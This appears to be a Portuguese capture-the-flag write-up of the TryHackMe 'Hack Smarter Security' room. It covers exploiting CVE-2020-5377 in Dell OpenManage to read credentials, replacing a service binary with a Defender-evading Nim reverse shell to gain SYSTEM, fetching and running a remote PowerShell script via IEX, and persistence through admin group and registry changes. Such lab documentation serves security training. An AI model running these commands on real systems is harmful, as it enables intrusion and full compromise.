~/labs/tryhackme---hack-smarter-security

TryHackMe - Hack Smarter Security

mediumTryHackMe10.66.188.332/2 flagsgithub ↗
nmapftpcve-2020-5377dell-openmanagesshprivescwindowsnimreverse-shellservice-hijack

recon

nmapReconhecimento inicial - ping e varredura completa de portas
ping -c 4 hacksmarter.thm
sudo nmap -p- -Pn -n -sS -T3 --min-rate 5000 --max-retries 1 hacksmarter.thm

# Portas abertas encontradas:
# 21   ftp
# 22   ssh
# 80   http
# 1311 rxmon (Dell OpenManage)
# 3389 ms-wbt-server (RDP)
# 7680 pando-pub
nmapEnumeração de serviços e versões
sudo nmap -p 21,22,80,1311,3389,7680 -sV -Pn -sS -n --min-rate 1000 --max-retries 1 hacksmarter.thm

# Destaque no fingerprint:
# 1311/tcp - Dell OpenManage Server Administrator
# Sistema operacional identificado: Windows 7.x
# Nenhuma vulnerabilidade imediata visível nos demais serviços neste momento

enum

webAnálise do Dell OpenManage - interface de login
# Acesso via navegador: https://hacksmarter.thm:1311
# Interface padrão de login do Dell OpenManage Server Administrator
# Objetivo: identificar a versão exata para buscar exploits conhecidos
webFingerprint de versão - Dell OpenManage 9.4.0.2
# Clicando no botão 'About' na interface de login
# Versão identificada: Dell OpenManage Server Administrator 9.4.0.2
# Esta versão é vulnerável à CVE-2020-5377 (Path Traversal / Leitura arbitrária de arquivos)
webConfirmação da versão vulnerável via About
# Versão confirmada: 9.4.0.2
# CVE-2020-5377 - CVSS 7.1 (Alta)
# Permite leitura arbitrária de arquivos sem autenticação válida
# Referência: Dell DSA-2020-172
# PoC disponível: Rhino Security Labs
webPesquisa de vulnerabilidades para a versão identificada
# Pesquisa: 'Dell OpenManage 9.4.0.2 exploit CVE'
# Resultado: CVE-2020-5377 confirmada para esta versão
# Script de PoC: David Yesland (@daveysec) - Rhino Security Labs
# https://rhinosecuritylabs.com

exploit

cmdCompilação do Nim Reverse Shell - evasão ao Windows Defender
# Instalação do Nim e mingw-w64
git clone https://github.com/Sn1r/Nim-Reverse-Shell
sudo apt install mingw-w64

# No Parrot OS, instalação via choosenim:
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
export PATH=/home/$USER/.nimble/bin:$PATH

# Editar rev_shell.nim com HOST_IP e porta 80 (porta 80 garante saída pelo firewall)

# Compilar para Windows x64:
nim c -d:release --os:windows --cpu:amd64 \
  --gcc.exe:x86_64-w64-mingw32-gcc \
  --gcc.linkerexe:x86_64-w64-mingw32-gcc \
  --app:gui \
  -o:spoofer-scheduler.exe rev_shell.nim

# Enviar para o alvo via SCP:
scp spoofer-scheduler.exe tyler@hacksmarter.thm:"C:/Program Files (x86)/Spoofer/"
cmd[F-02 ALTO] PrivEsc - Substituição do binário e execução como SYSTEM
# Na máquina alvo (PowerShell como tyler):

# 1. Renomear binário original
mv .\spoofer-scheduler.exe .\spoofer-scheduler.exe.bak

# 2. Parar o serviço
sc.exe stop spoofer-scheduler

# 3. Iniciar com o binário malicioso
sc.exe start spoofer-scheduler

# Na máquina atacante - listener:
nc -lvnp 80

# Resultado: reverse shell recebido como NT AUTHORITY\SYSTEM
# Acesso administrativo total ao sistema
cmd[F-01 ALTO] CVE-2020-5377 - Path Traversal / Leitura arbitrária de arquivos
# Script: CVE-2020-5377.py (Rhino Security Labs)
# Execução:
sudo python3 CVE-2020-5377.py HOST_IP hacksmarter.thm:1311

# O script:
# 1. Sobe um servidor HTTPS falso imitando um Dell OMSA remoto
# 2. Realiza bypass de autenticação via LoginServlet
# 3. Obtém JSESSIONID e VID válidos
# 4. Permite leitura de arquivos arbitrários via DownloadServlet

# Prompt interativo após autenticação:
# file > C:\Windows\System32\...  (path traversal)
# file > \Administrator\web.config
# file > \hacksmartersec\web.config
credLeitura do web.config - obtenção de credenciais do Tyler
# Após análise do web.config em \Administrator, testado \hacksmartersec
# Arquivo: \hacksmartersec\web.config

# Credenciais encontradas em texto claro:
# usuário: tyler
# senha:   [obtida via leitura do web.config]

# ⚠️ Ponto de atenção: CVE-2020-5377 permitiu leitura de arquivos
# do sistema sem autenticação válida, expondo credenciais em texto claro.
# Em ambiente real: comprometimento total de toda a infraestrutura.

# Dica: Brute-Force não funcionaria neste caso.
cmdAcesso SSH com credenciais do Tyler - Flag 1
ssh tyler@hacksmarter.thm
# Senha: obtida via CVE-2020-5377

# Acesso estabelecido com sucesso
# Flag 1 capturada no diretório do usuário tyler

post-exp

cmdVerificação do serviço Spoofer-Scheduler - pesquisa da vulnerabilidade
# Serviços ativos verificados via PowerShell:
Get-Service | Where-Object {$_.Status -eq 'Running'}
# ou
sc.exe query type= all state= active

# Spoofer-Scheduler identificado como ativo e executando como SYSTEM
# Pesquisa confirmou: permissão incorreta no diretório permite substituição do binário
cmdPesquisa de PrivEsc para o Spoofer - vulnerabilidade confirmada
# Pesquisa: 'Spoofer Windows privilege escalation service'
# Resultado: Spoofer permite PrivEsc por permissão incorreta no diretório do serviço
# Usuário comum com controle total → substitui binário → serviço reinicia como SYSTEM
# Vetor confirmado para execução da etapa seguinte
cmdPersistência - adição do tyler ao grupo Administrators
# Executado a partir do shell SYSTEM

# 1. Adicionar tyler ao grupo Administrators
net localgroup "Administrators" tyler /add

# 2. Adicionar ao grupo Remote Management (opcional)
net localgroup "Remote Management Users" tyler /add

# 3. Bypass de UAC Token Filter (permite admin via rede)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f
cmdValidação de privilégios administrativos via SSH
# Novo login SSH com tyler após adicionar ao grupo Administrators
ssh tyler@hacksmarter.thm

# Verificação de grupos:
net user tyler
# Local Group Memberships: *Administrators

# Privilégios administrativos confirmados
cmdEnumeração pós-exploração - Program Files (x86)
# Varredura manual do diretório C:\Program Files (x86)
# Aplicações não comuns encontradas:
#   - AWS Installation
#   - Spoofer         ← chamou atenção
#   - WinPcap

# Serviços em execução verificados na sequência
# Foco: Spoofer-Scheduler por ser desconhecido e potencialmente explorável
cmdPrivescCheck - enumeração de vetores de escalação
# WinPEAS descartado por risco de detecção pelo Windows Defender
# Alternativa: PrivescCheck (itm4n) - mais silencioso

wget https://github.com/itm4n/PrivescCheck/releases/latest/download/PrivescCheck.ps1
python3 -m http.server 80

# Na máquina alvo (PowerShell):
IEX (New-Object Net.WebClient).DownloadString('http://HOST_IP/PrivescCheck.ps1')
Invoke-PrivescCheck

# Resultado: vetor de PrivEsc identificado em imagem de serviço
# Análise manual de permissões iniciada
cmdVerificação de permissões - usuário tyler com AllAccess no diretório Spoofer
icacls "C:\Program Files (x86)\Spoofer"

# Resultado:
# tyler: (OI)(CI)(F)  ← AllAccess / Controle Total
# Permissão incorreta: usuário não privilegiado com controle total sobre diretório de serviço
# Vetor de PrivEsc confirmado: substituição do binário do serviço
cmdConfirmação de permissões sobre o binário e o serviço Spoofer-Scheduler
icacls "C:\Program Files (x86)\Spoofer\spoofer-scheduler.exe"
sc.exe qc spoofer-scheduler

# Confirmado:
# - Controle total sobre o binário spoofer-scheduler.exe
# - Serviço executado com privilégios elevados (SYSTEM)
# Estratégia: substituir binário por reverse shell evasivo ao Windows Defender
flagFlag 2 - Captura como Administrador
# Com acesso administrativo confirmado, flag 2 capturada
# Localização: diretório do Administrator

# Hack Smarter Security - PWNED!
# Flags: 2/2 capturadas

flags

flagTabela de vulnerabilidades - findings por severidade
[ALTO]   F-01 CVE-2020-5377 - Path Traversal / Leitura arbitrária - Dell OpenManage 9.4.0.2 - CVSS 7.1
[ALTO]   F-02 Permissão incorreta no diretório Spoofer (PrivEsc) - Spoofer-Scheduler - CVSS 7.8
[MÉDIO]  F-03 FTP anônimo + arquivos sensíveis expostos (cartões, passaporte) - FTP porta 21 - CVSS 6.5

notes

noteCadeia de ataque e MITRE ATT&CK
Cadeia de comprometimento:
  1. Recon → nmap identifica portas 21, 22, 80, 1311, 3389
  2. Enum → FTP anônimo expõe arquivos sensíveis (não utilizado no comprometimento)
  3. Enum → Dell OpenManage 9.4.0.2 identificado na porta 1311
  4. Exploit → CVE-2020-5377 → leitura de web.config → credenciais do tyler
  5. Acesso → SSH como tyler → Flag 1
  6. PrivEsc → tyler com AllAccess no diretório Spoofer-Scheduler
  7. Exploit → Nim Reverse Shell substitui binário → shell como SYSTEM
  8. Persistência → tyler adicionado ao grupo Administrators
  9. Acesso → SSH como Administrador → Flag 2

MITRE ATT&CK:
  T1190     Exploit de aplicação exposta (CVE-2020-5377)
  T1083     Descoberta de arquivos e diretórios (leitura via path traversal)
  T1552.001 Credenciais em arquivo (web.config em texto claro)
  T1574.010 Hijack de binário de serviço (Spoofer-Scheduler)
  T1036.003 Mascaramento de nome de arquivo (spoofer-scheduler.exe)
  T1548     Abuso de mecanismo de elevação de privilégios
  T1136.001 Criação de conta local (persistência via grupo Admins)
  T1112     Modificação de registro (UAC Token Filter bypass)